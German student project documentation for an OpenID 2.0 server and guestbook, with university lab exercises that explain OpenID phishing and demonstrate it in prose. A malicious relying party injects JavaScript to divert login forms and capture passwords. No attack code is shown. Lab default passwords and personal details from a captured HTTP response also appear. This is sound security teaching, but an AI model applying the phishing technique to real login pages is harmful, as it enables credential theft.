wwwroot: Enthält den Konfigurationsassistenten, die Datei server.php
und die Web-Oberfläche index.php.
data: Enthält statische, sprachunabhängige Daten, z.B. die Liste aller
Länder.
incl: Enthält notwendige Klassen und Funktionen, sowie die
Konfigurationsdatei config.php.
incl/lang: Enthält die Sprachdateien für Informations- oder
Fehlermeldungen, die unabhängig der Templates sind.
templates: Enthält die möglichen Designs der Web-Oberfläche. Das
Design „default“ ist das Standarddesign. In der Konfigurationsdatei
config.php kann auf das Design „ita“ umgeschaltet werden.
default: Enthält sprachunabhängige Templates des Designs „default“
der Web-Oberfläche.
default/de: Enthält Templates in Deutsch.
default/en: Enthält Templates in Englisch.
templates_c und cache: Diese Ordner benötigt das Template System
zum Zwischenspeichern der Templates. Aus diesem Grund muss der
Benutzer des Webservers (unter welchem die Web-Applikation läuft)
über Schreibberechtigung auf diese Ordner verfügen.
srv-9
DATENBANKMODELL
DATENBANK OPENIDACCOUNTS
Das Datenbankmodell der Datenbank „openidaccounts“ wurde so einfach wie möglich konzipiert um spätere
Anpassungen zu vereinfachen.
Zwischen den beiden Tabellen existiert eine eins-zu-n Verbindung. Die Constraints sind so gesetzt, dass kein
Trusts Eintrag ohne User existieren kann. Die beiden Tabellen „users“ und „trusts“, sowie die Datenbank
„openidaccounts“ werden automatisch erstellt, wenn sie nicht vorhanden sind.
DATENBANK OPENID2
Die Programmbibliothek für das OpenID 2.0 Protokoll nutzt ihre eigene, unabhängige MySQL Datenbank zur
Verwaltung der Assoziationen. Wir haben zwar keinen Einfluss auf ihre Struktur, zeigen sie der Vollständigkeit
halber aber trotzdem:
Zwischen den Tabellen existieren keine Constraints. Die Datenbank muss manuell erstellt werden. Die beiden
Tabellen werden automatisch erstellt, wenn sie nicht existieren.
srv-10
KLASSENDIAGRAMME
KLASSE CONTROLLER
Die Controller Klasse führt sämtliche Datenmutationen aus. Zudem sorgt sie sich um die Validierung der
Benutzereingaben und delegiert die Ausgabe an das Smarty Template System.
Fehler- und Informationsmeldungen werden in der jeweiligen Benutzersprache direkt in die Arrays errors und
information abgelegt und stehen in den Templates als $errors und $information zur Ausgabe zur Verfügung.
KLASSE MULTILANGUAGESMARTY
Die Klasse MultiLanguageSmarty erweitert das Smarty Template System um die Mehrsprachigkeit. Die Sprache
des aktuellen Benutzers wird dem Konstruktor mitgegeben oder im Nachhinein mit setLanguage() geändert.
Fordert Smarty eine Template Datei an, sucht MultiLanguageSmarty zuerst im Template Ordner der jeweiligen
Sprache. Findet es die angeforderte Datei, wird der volle Pfad zurückgegeben. Ist die Suche erfolglos, sucht es
die Datei im übergeordneten, sprachunabhängigen Template Ordner. So müssen sprachunabhängige
Templates nicht für jede Sprache kopiert werden und das Single-Point-of-Truth Prinzip wird nicht verletzt.
srv-11
KLASSE MYSQL
Die Klasse MySQL stellt sicher, dass bei jedem Seitenzugriff die Datenbank „openidaccounts“ existiert und die
notwendigen Tabellen vorhanden sind. Die Datenbankqueries werden an den Datenbanklayer PEAR DB
delegiert.
MEHRSPRACHIGKEIT
Das Sprachsystem umfasst die Klasse MultiLanguageSmarty, die Browserspracherkennungsfunktion
„lang_getfrombrowser“ in der Datei „functions.php“, die Initialisierungsroutinen in der Datei „language.php“,
die Sprachdateien für Informations- und Fehlermeldungen im Verzeichnis „incl/lang“ und die einzelnen
Templates.
Ist die Spracheinstellung des Benutzers nicht gesetzt, wird versucht diese über die
Browserspracherkennungsfunktion auszulesen. Schlägt dies fehl, wird die Standardsprache der Konfiguration
verwendet.
srv-12
ERWEITERUNGEN
EIGENES WEB-DESIGN
Ein eigenes Design für die Web-Oberfläche kann durch das Ändern der Template Dateien ganz einfach erstellt
werden. Einzige Voraussetzungen sind HTML Kenntnisse und die Motivation, sich mit dem Smarty Template
System [3] auseinanderzusetzen.
Folgende kleine Anleitung soll beim Einstieg behilflich sein:
1.
Ein neues Design benötigt einen eigenen Design Ordner. Erstellen Sie also einen neuen Unterordner
im Verzeichnis „templates“.
2.
Als Vorlage kopieren Sie am Besten den Inhalt eines bestehenden Designs („ita“ oder „default“) in den
neuen Designordner.
3.
Ändern Sie das CSS Stylesheet im Ordner „css“ und die Template Dateien im Design Ordner und in den
Sprachunterordnern ab. Die genaue Smarty Template Syntax finden Sie auf der Internetseite
smarty.php.net.
4.
Schalten Sie in der Konfigurationsdatei „config.php“ im Ordner „incl“ auf Ihr neues Design um, indem
Sie die Define Anweisung „define(`design`, `default`);“ in „define(`design`, `meindesign`);“ abändern.
5.
Bestaunen Sie das neue Design im Webbrowser.
srv-13
Folgende Hinweise können hilfreich sein:
Alle Template Dateien – ausser „main.tpl“ – können Sie umbenennen. Sie müssen aber den
Namen des Templates (ohne die Dateiendung „.tpl“) in der Konfigurationsdatei ebenfalls
ändern.
Achten Sie darauf, dass die Textfelder, Checkboxen und Buttons in HTML ihren Namen
behalten. Die Web-Applikation wird sonst nicht mehr korrekt funktionieren.
Platzieren Sie sprachabhängige Templates in dem jeweiligen Sprachunterordner,
sprachunabhängige Templates aber im Design Hauptordner. Das Template System lädt
automatisch das korrekte Template.
HINZUFÜGEN EINER NEUEN SPRACHE
Falls die verfügbaren Sprachen Deutsch und Englisch nicht ausreichen, kann der Server ganz einfach um weitere
Sprachen erweitert werden.
1.
Schlagen Sie den ISO-639-1 [4] Sprachkürzel im Internet nach. Der Sprachkürzel besteht aus exakt zwei
kleingeschrieben Buchstaben.
2.
Erstellen Sie eine neue Sprachdatei im Ordner „incl/lang“. Der Dateinamen muss aus Sprachkürzel und
der Dateierweiterung „.php“ zusammengesetzt sein.
3.
Kopieren Sie den Inhalt einer bestehenden Sprachdatei „en.php“ oder „de.php“ in die neue
Sprachdatei.
4.
Übersetzen Sie die einzelnen Meldungen in die gewünschte Sprache. Achten Sie darauf, dass
eventuelle Platzhalter, z.B. „%s“, bestehen bleiben. Zusätzlich sollten Sie alle Sonderzeichen mit HTML
Entities [5] codieren.
5.
Erstellen Sie im Design Ordner einen neuen Sprachunterordner mit dem Sprachkürzel als Namen.
6.
Kopieren Sie die sprachabhängigen Templates aus einem bestehenden Sprachunterordner in den
neuen Ordner.
7.
Übersetzen Sie die sprachabhängigen Templates nun in die gewünschte Sprache. Achten Sie darauf,
dass die Namen der Formularfelder und Buttons gleich bleibt und dass Sie alle Sonderzeichen mit
HTML Entities codieren.
8.
Geben Sie den neuen Sprachkürzel der Funktion „getLanguages()“ in der Datei „functions.php“ im
Ordner „incl“ an. Fügen Sie dazu den Sprachkürzel dem Array „$lang“ in Zeile 90 hinzu.
9.
Damit der Benutzer die Sprache auch manuell auswählen kann, muss nun noch das Template
„languageselection.tpl“ im Design Ordner angepasst werden.
srv-14
MIT REWRITE RULE ZU EINER EINFACHEREN OPENID URL
Standardmässig sind die OpenID URLs im Format
http://ihrserver.domain.ch/openidpfad/idpage.php/benutzername. Mit einer einfachen Anpassung der Apache
Konfiguration und einer kleinen Änderung der config.php kann die URL auf das kürzere Format
http://ihrserver.domain.ch/id/benutzername gebracht werden.
APACHE KONFIGURATION
Die Apache Konfigurationsdateien finden Sie im Order /etc/apache2. Öffnen sie die Datei /etc/apache2/sitesenabled/000-default und erweitern Sie die VirtualHost Konfiguration um die folgenden zwei Zeilen:
RewriteEngine on
RewriteRule /id/([^/]+)$ /openidpfad/idpage.php/$1 [PT]
Nach einem Neustart des Apache Webservers sind die Einstellungen aktiv.
OPENID 2 SERVER KONFIGURATION
Damit die neue OpenID URL dem Benutzer auf der Startseite auch angezeigt wird, muss die OpenID 2.0 Server
Konfiguration angepasst werden. Ändern Sie dazu in der Datei 'incl/config.php' die Define Anweisung auf
'define('idpage_base', 'http://ihrserver.domain.ch/id');’. Die neue OpenID URL wird dann beim nächsten Login
korrekt angezeigt.
srv-15
ANHANG
EVALUATION EINER OPENID LIBRARY
Die folgenden OpenID Libraries unterstützen OpenID Authentication 2.0 und sind sowohl für die Relying Party
als auch als Server zu gebrauchen.
Library
Programmiersprache
Anforderungen
Hersteller
JanRain
PHP, Python
LAMP / Python
JanRain Inc. [6]
OpenID4Java
Java
JDK 1.4, Apache Tomcat, JUnit, Ant
Sxip.com [7]
Joid
Java
JDK 1.4, Apache Tomcat, Hibernate 3,
HSQL DB
Unbekannt
NetMesh InfoGrid
LID
PHP, Java
LAMP / JDK 1.5, Apache Tomcat, MySQL
NetMesh [8]
Da eine Java Apache Tomcat Umgebung mit Servlets und den benötigten Libraries schwieriger zu installieren
ist, haben wir uns für die einfache und schnellere Variante mit LAMP entschieden.
NetMesh InfoGrid LID ist eine Bibliothek für das Lightweight Identity Framework LID [9], die als Protokoll unter
anderem auch OpenID verwenden kann.
Schlussendlich haben wir uns für die schlankere PHP Library von JanRain entschieden.
srv-16
LITERATURVERZEICHNIS
[1] OpenID Authentication 2.0 Draft 11: http://openid.net/specs/openid-authentication-2_0-11.html
[2] OpenID Simple Registration Extension 1.1 Draft 1: http://openid.net/specs/openid-simple-registrationextension-1_1-01.html
[3] Smarty Template System: http://smarty.php.net
[4] ISO 639-1 Sprachcodes: http://www.sub.uni-goettingen.de/ssgfi/projekt/doku/sprachcode.html
[5] HTML Entities Referenz: http://www.w3schools.com/tags/ref_entities.asp
[6] JanRain Homepage: http://janrain.com/
[7] Sxip Code Homepage: http://code.sxip.com/
[8] NetMesh Homepage: http://netmesh.us/
[9] Lightweight Identity Framework: http://lid.netmesh.org/wiki/Main_Page
srv-17
OpenID 2.0 Gästebuch
Studienarbeit SS 07
Dieses Dokument beschreibt die Installation und Bedienung des
„OpenID 2.0 Gästebuch“ – das Gästebuch mit OpenID Login.
Loris Siegenthaler
David Benninger
Betreuer: Prof. Dr. Andreas Steffen
INHALTSVERZEICHNIS
Einführung ............................................................................................................................................................... 3
Voraussetzungen ..................................................................................................................................................... 3
Installation .............................................................................................................................................................. 3
Bedienung (Das Gute) ............................................................................................................................................. 4
Bedienung (Das Böse) ............................................................................................................................................. 5
gb-2
EINFÜHRUNG
Das OpenID 2.0 Gästebuch ist eine OpenID Relying Party zur Veranschaulichung der Funktionsweise von
OpenID 2.0. Nach dem Login über OpenID kann jeder Benutzer neue Gästebuch-Einträge erstellen.
Das Gästebuch wird in dem IntSi2 OpenID Praktikumsversuch verwendet und ist bezüglich Sicherheit nicht für
das öffentliche Web geeignet.
VORAUSSETZUNGEN
Folgende Punkte gelten als Voraussetzung für eine erfolgreiche Installation:
1.
PHP 5 mit Curl
2.
Apache Webserver
INSTALLATION
Die folgende Installationsanleitung gilt für Debian basierte Distributionen, wie z.B. Ubuntu:
1.
2.
Installiere die gepatchte JanRain PHP OpenID2 Library
a.
wget http://openid.virtualpatient.ch/downloads/guestbook/PHP-openid-2.0.0-rc2patched.tar.gz
b.
tar -zxvf PHP-openid-2.0.0-rc2-patched.tar.gz
c.
cp -R PHP-openid-2.0.0-rc2-patched/Auth /usr/share/php/
Installiere das OpenID 2 Gästebuch
a.
wget http://openid.virtualpatient.ch/downloads/guestbook/guestbook.tar.gz
b.
tar -zxvf guestbook.tar.gz
c.
mkdir /var/www/guestbook/
d.
cp -R guestbook/* /var/www/guestbook/
e.
touch /var/www/guestbook/htdocs/data.txt
f.
chown www-data:www-data /var/www/guestbook/htdocs/data.txt
g.
chown www-data:www-data /var/www/guestbook/
Mit dem Browser kann nun über die URL http://yourdomain.ch/guestbook/htdocs auf das Gästebuch
zugegriffen werden. Möchte man die Assoziationen im Verzeichnis „guestbook/associations“ vor
unberechtigtem Zugriff schützen, muss die WWW-Root Konfiguration des Apache Webservers auf das
Verzeichnis „/var/www/guestbook/htdocs“ geändert werden.
gb-3
BEDIENUNG (DAS GUTE)
Das OpenID 2.0 Gästebuch ist wie folgt aufgebaut:
OpenID Login
Formular
Immediate Requests
können hier für das Login
verwendet werden
Bereich der GästebuchEinträge.
Nach der Anmeldung über OpenID kann der Benutzer eigene Einträge verfassen. Hat der Benutzer das
Gästebuch in der Liste seiner vertrauten Seiten, kann er mit dem Immediate Request die Login Prozedur
abkürzen.
Beim erfolgreichen Login können detaillierte OpenID Informationen mit einem Klick auf „Details on/off“
angezeigt werden.
gb-4
BEDIENUNG (DAS BÖSE)
Über die URL http://yourdomain.ch/phishing/ kann auf das OpenID Phishing (siehe Anleitung ab Seite prot-33)
Gästebuch zugegriffen werden (gut erkennbar mit Fisch):
Nach der Eingabe der OpenID URL wird die OpenID Provider Seite geladen und dargestellt.
Benutzername und Passwort werden jedoch nicht an den OpenID Provider gesendet, sondern an das Phishing
Gästebuch. Die „gephishten“ Daten werden dann ausgegeben:
gb-5
Praktikums
Vorbereitungen
Studienarbeit SS 07
Loris Siegenthaler
David Benninger
Betreuer: Prof. Dr. Andreas Steffen
INHALTSVERZEICHNIS
Installation des VMware Servers ............................................................................................................................ 2
Laden der VMware Images ..................................................................................................................................... 2
Netzwerk Konfiguration .......................................................................................................................................... 3
Starten und Testen der Images ............................................................................................................................... 4
INSTALLATION DES VMWARE SERVERS
1.
2.
3.
Den kostenlosen VMware Server downloaden: http://www.vmware.com/download/server/
Seriennummer generieren: http://register.vmware.com/content/registration.html
Die Installation starten
LADEN DER VMWARE IMAGES
1.
2.
3.
Starten der VMware Server Console. Start – Programs – VMware – VMware Server Console
Mit dem VMware Host verbinden: localhost – connect (user/password leer lassen)
Laden der Images: File – Open – Browse – „openid-provider.vmx“ und „openid-rp.vmx“ auswählen
prakv-2
NETZWERK KONFIGURATION
Das Ziel ist folgende Netzwerk Konfiguration:
Dazu sind folgende Schritte notwendig:
1.
2.
3.
Host - Virtual Network Settings…
Auf den Reiter „Host Virtual Network Mapping“ klicken
Es erscheint folgendes Fenster:
4.
5.
6.
VMnet8 ist das default NAT Interface. Dort auf den Pfeil klicken und Subnet selektieren.
Das eingetragene Subnetz auf 192.168.10.0 ändern.
Die Änderungen durch Klick auf „Apply“ übernehmen.
prakv-3
STARTEN UND TESTEN DER IMAGES
1.
2.
Das Image links in der Liste auswählen und den grünen „Play“ Button drücken.
Folgenden Vorschlag übernehmen:
3.
4.
Einloggen: Username: notroot / Passwort: strongSwan
Löschen Sie, falls vorhanden, die Datei „/etc/udev/rules.d/25-iftab.rules“ und starten Sie den Server
neu. Dies erzwingt eine Neukonfiguration der Netzwerk Interfaces.
Netzwerk testen: ping 192.168.10.2 (NAT-Gateway) und ping www.heise.de
Diese Schritte beim anderen Image ebenfalls durchführen
5.
6.
prakv-4
OpenID 2.0
OpenID 2.0 ist ein dezentrales System zur Identifizierung. Die Idee ist, dass Benutzer mit
einem Benutzerkonto bei einem OpenID Provider sich mit diesem auf beliebigen OpenID
unterstützenden Webseiten (Relying Parties) anmelden können, ohne dass sie für jede
Webseite ein eigenes Benutzerkonto und Passwort benötigen. Dabei wird das Konzept der
URL-basierten Identität umgesetzt.
Um die Funktionsweise von OpenID zu demonstrieren und allfällige Sicherheitsprobleme
aufzuzeigen wird eine VMware (www.vmware.com) basierte Testumgebung eingesetzt.
Als OpenID Provider verwenden wir einen OpenID Server welcher die OpenID 2.0
Spezifikation unterstützt und während einer Studienarbeit im SS07 entstanden ist.
Ein einfaches Gästebuch dient als Relying Party.
In diesem Labor verwenden wir Windows
Username:
seclab
Passwort:
strongSwan
Bitte führen Sie nach Ende des Labors die Systemwiederherstellung durch!
1) Starten der Instanzen
1. Starten Sie die VMware Console über Start – Programme – VMware
2. Dann localhost auswählen und auf den „connect“ Button drücken
3. Die beiden virtuellen Server jeweils auswählen und mit durch drücken des „Play“ Buttons
starten.
4. Auf dem Host System durch „ping 192.168.10.10“ und „ping 192.168.10.20“ die
Netzwerkkonfiguration testen.
5. Sollte dies fehlschlagen, sich bei beiden VServer einloggen. User: notroot Passwort:
strongSwan und folgenden Befehl eingeben: „sudo rm /etc/udev/rules.d/25-iftab.rules“. Dann
beide Server mit dem Befehl „reboot“ neu starten.
prak -
2
2) Allgemeine Fragen
Was ist der Vorteil von OpenID?
Sämtliche Daten sind beim OpenID Provider gespeichert und können bei Bedarf an die
Relying Party übermittelt werden. Die Authentifizierung kann mit einem Zertifikat absolut
sicher erfolgen.
Durch was unterscheidet sich OpenID von anderen Single Sign On Lösungen, wie Microsofts
Passport?
OpenID ist vollständig dezentralisiert.
Jeder kann einen OpenID Provider betreiben.
Was ist das grösste Sicherheitsproblem von OpenID?
Phishing
Wie kann dies verhindert werden?
Die einzige Lösung des Problems ist die Passwort-Authentifizierung nicht mehr zu
verwenden. Die einfachste und sicherste Alternative ist die Verwendung von SSL mit
Clientzertifikaten. Sofern der Benutzer sein Clientzertifikat privat hält, ist die
Authentifizierung sicher. Professionelle OpenID Provider wie myopenid.com bieten dies an.
Wie wird verhindert, dass der Benutzer die beim OpenID Provider eingegebenen und
allenfalls verifizierten Daten auf dem Weg zur Relying Party verändern kann?
Die Daten werden vom Provider mit Hilfe des, während der Association Phase
ausgehandelten Geheimnisses signiert. Die Relying Party überprüft diese Signatur bei
Erhalt der Daten.
Somit ist sichergestellt dass die Daten auf dem Weg vom Provider zur Relying Party nicht
unbemerkt verändert werden können.
prak -
3
3) Versuche
Erstellen Sie auf dem OpenID Provider (192.168.10.10) einen Account. Dazu geben Sie die
IP Adresse des Providers in die Adresszeile Ihres Browsers ein.
Starten Sie Wireshark im „promiscuous“ Mode auf dem Host System und zeichnen sie die
Kommunikation auf dem virtuellen Netzwerkinterface (ip: 192.168.10.1) beim ersten Login
auf der Relying Party auf.
Tipp: Die gesamte Kommunikation findet via http Post & Get Requests statt. Ein http Filter
dürfte daher sinnvoll sein.
Wie weiss die Relying Party nach der Eingabe der Identity URL, an welchen OpenID
Provider sie den Benutzer umleiten muss?
Mit Yadis, XRI, oder HTML Discovery:
Als Discovery wird der Prozess bezeichnet, mit dem die Relying Party aus der OpenID URL
die notwendigen Informationen des OpenID Providers erhält. Ist die OpenID URL ein XRI
Identifier, wird mittels XRI Resolution ein XML Dokument (XRDS) geholt. Ist die OpenID
URL eine gewöhnliche http oder https URL, wird versucht mit dem Yadis Protokoll ein XRDS
Dokument zu erhalten. Gelingt dies nicht, wird mittels eines einfachen HTTP Requests die
HTML Seite geladen und die OpenID Provider Informationen aus dem HTML-HEAD Bereich
geholt.
Beispiel für ein XRDS Dokument:
<?xml version="1.0" encoding="UTF-8"?>
<xrds:XRDS
xmlns:xrds="xri://$xrds"
xmlns="xri://$xrd*($v*2.0)">
<XRD>
<Service priority="0">
<Type>http://specs.openid.net/auth/2.0/signon</Type>
<Type>http://openid.net/signon/1.1</Type>
<Type>http://openid.net/extensions/sreg/1.1</Type>
<Type>http://openid.net/sreg/1.0</Type>
<URI>http://openid.virtualpatient.ch/trunk/server.php</URI>
</Service>
</XRD>
</xrds:XRDS>
Wie wird das gemeinsame Geheimnis zwischen Provider und Relying Party gebildet?
In direkter Kommunikation wird mit Diffie Hellman das Geheimnis gebildet. Diesen Prozess
nennt man Association Negotiation.
Zeichnen Sie die Kommunikation ein zweites Mal auf. Wieso wird zwischen der Relying Party
und dem Provider kein Geheimnis mehr ausgehandelt?
Das Geheimnis hat eine Gültigkeit von typischerweise 14 Tagen und wird so lange bei
beiden Parteien gespeichert.
prak -
4
Wie teilt die Relying Party dem Provider mit, welche Informationen sie über den Benutzer
erhalten will?
Mittels den Feldern openid.sreg.required und openid.sreg.optional im Authentication
Request.
HTTP/1.1 302 Found
Date: Tue, 19 Jun 2007 10:29:00 GMT
Server: Apache/2.0.55 (Ubuntu) mod_python/3.2.8 Python/2.4.4c1 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: http://openid.virtualpatient.ch/trunk/server.php?openid.assoc_handle=%7BHMACSHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=checkid_setup
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.sreg=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.realm=http%3A%2F%2Fconsumer.virtualpatient.ch%2F
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
&openid.sreg.optional=email%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry
&openid.sreg.required=nickname
Wie übermittelt der Provider die angeforderten Benutzerdaten an die Relying Party?
Die Daten werden beim Authentication Response angehängt.
Date: Tue, 19 Jun 2007 08:24:27 GMT
Server: Apache/2.0.55 (Ubuntu) DAV/2 SVN/1.3.2 PHP/5.1.6
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
location: http://consumer.virtualpatient.ch/login.php?janrain_nonce=2007-06-19T10%3A29%3A18ZLkUsE9
&openid.assoc_handle=%7BHMAC-SHA1%7D%7B46779290%7D%7BhXn%2FBg%3D%3D%7D
&openid.claimed_id=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.ext0.country=CH
&openid.ext0.dob=1982-05-25
&openid.ext0.email=spamtest%40virtualpatient.ch
&openid.ext0.fullname=Loris+Siegenthaler
&openid.ext0.gender=M
&openid.ext0.nickname=beatstream
&openid.ext0.postcode=8640
&openid.identity=http%3A%2F%2Fopenid.virtualpatient.ch%2Fid%2Fbeatstream
&openid.mode=id_res
&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0
&openid.ns.ext0=http%3A%2F%2Fopenid.net%2Fextensions%2Fsreg%2F1.1
&openid.op_endpoint=http%3A%2F%2Fopenid.virtualpatient.ch%2Ftrunk%2Fserver.php
&openid.response_nonce=2007-06-19T08%3A24%3A27ZngNmaQ
&openid.return_to=http%3A%2F%2Fconsumer.virtualpatient.ch%2Flogin.php%3Fjanrain_nonce%3D2007-0619T10%253A29%253A18ZLkUsE9
&openid.sig=VQbqhWRKQVBKVqWfriSfx7v703s%3D
&openid.signed=assoc_handle%2Cclaimed_id%2Cext0.country%2Cext0.dob%2Cext0.email%2Cext0.fullname%2Cext0.gender%2Cext0.nick
name%2Cext0.postcode
prak -
5
Was passiert wenn die als “required” markierten Daten nicht gesendet werden?
Die als „required“ markierten Daten müssen nicht gesendet werden. Die Relying Party kann
in diesem Fall selbst entscheiden, wie sie fortfahren möchte.
4) Phishing
Das grösste Sicherheitsproblem bei OpenID ist Phishing. Anstatt den User-Agent zu seinem
OpenID Provider weiterzuleiten, kann eine böse Relying Party den User-Agent an einen
Fake Provider weiterleiten. Der Fake Provider imitiert den OpenID Provider des Benutzers
und kann sein Passwort abfangen. Alles was der Phisher dazu braucht, ist eine für den
Benutzer interessante Internetseite.
Die genaue Funktionsweise wird hier noch kurz erklärt:
1. Der Benutzer gibt seine Identity URL bei der bösen Relying Party ein
2. Die Relying Party holt sich die Internetseite des OpenID Providers, fügt Javascript
Code ein, der die POST Adresse sämtlicher Formulare der Providerseite auf die
Relying Party umleitet und zeigt sie an.
3. Der Benutzer gibt Benutzername und Passwort ein
4. Die Relying Party kennt nun das Passwort
Um dies anhand eines praktischen Beispiels zu demonstrieren finden sie auf der Relying
Party im Unterverzeichnis phishing eine Phishing Seite.
1. Tippen Sie 192.168.10.20/phishing in die Adresszeile Ihres Browser ein.
2. Loggen Sie sich mit Ihrer zuvor erstellten OpenID URL ein. Sie können auch die
eines anderen Providers benutzen (z.B. openid.aol.com/beatstream).
3. Haben Sie es gemerkt?
prak -
6
ERFAHRUNGSBERICHT DAVID BENNINGER
Vom OpenID Framework hatte ich vor dieser Studienarbeit keine Ahnung. Entsprechend schwierig war es sich
zu Beginn einen Überblick über das Thema zu verschaffen. Die ersten Stunden verbrachte ich mit dem Lesen
von Forum Beiträgen, Blogs und Wikipedia Artikel. Dazu kam, dass OpenID 2 noch sehr in den Kinderschuhen
steckt und es deshalb noch nicht wirklich ausgereifte Implementationen gibt.
Als sehr angenehm habe ich die Betreuung und die wöchentlichen Sitzungen empfunden. Unser Betreuer hatte
uns bei unserer Aufgabe einigen Spielraum gelassen, was sich sehr positiv auf meine Motivation ausgewirkt
hat.
VMware erleichterte den Aufbau der Testumgebung enorm. Innerhalb wenigen Stunden konnte ich die Relying
Party und den OpenID Provider installieren. Die Aufzeichnung der Kommunikation zwischen den virtuellen
Maschinen war danach sehr unkompliziert.
Da ich mit Loris schon im Software Engineering 2 Projekt und in der ersten Studienarbeit gearbeitet habe,
verlief die Zusammenarbeit ziemlich harmonisch. Konstruktive Diskussionen, regelmässige Kaffeepausen und
gemeinsame Mittagessen halfen mir bei der Problem- und Stressbewältigung.
Ich freue mich auf die Diplomarbeit.
ERFAHRUNGSBERICHT LORIS SIEGENTHALER
DRAFTS UND BETAS
Zu Beginn der Studienarbeit begannen wir uns in das Thema OpenID einzulesen. Dies gestaltete sich jedoch
schwieriger als erwartet. Da die OpenID 2.0 Spezifikation erst als Draft vorliegt, wurde erst wenig Konkretes
darüber publiziert wurde. So verbrachten wir einen Grossteil der ersten Wochen mit dem Sammeln von
Informationen.
Schwierig gestaltete sich auch die Suche einer Library, welche wir für die Implementation unseres Servers
benötigten. Alle vorhandenen Libraries welche die 2.0 Spezifikation unterstützen befinden sich noch im Beta
Stadium und bescherten uns, dank der zahlreich vorhandenen Fehler doch so einige Überstunden.
ZUSAMMENARBEIT
Da wir schon während des "SE2 Projekt" und der "Studienarbeit 1" die Möglichkeit hatten, die Stärken und
Schwächen des anderen kennen zu lernen, verlief die Zusammenarbeit mit David problemlos. In Sachen PHP
habe ich während dieser Studienarbeit viel von ihm gelernt da dies für mich völliges Neuland war.
BETREUUNG
Die wöchentlichen Sitzung mit unserem Betreuer Andreas Steffen waren angenehm und hilfreich. Seine
allwöchentlichen Fragen und Bemerkungen halfen uns dabei die Dokumentation so zu verfassen dass sie auch
von "OpenID Neulingen" verstanden wird. Positiv empfand ich auch dass wir viel Freiraum in der Gestaltung
hatten.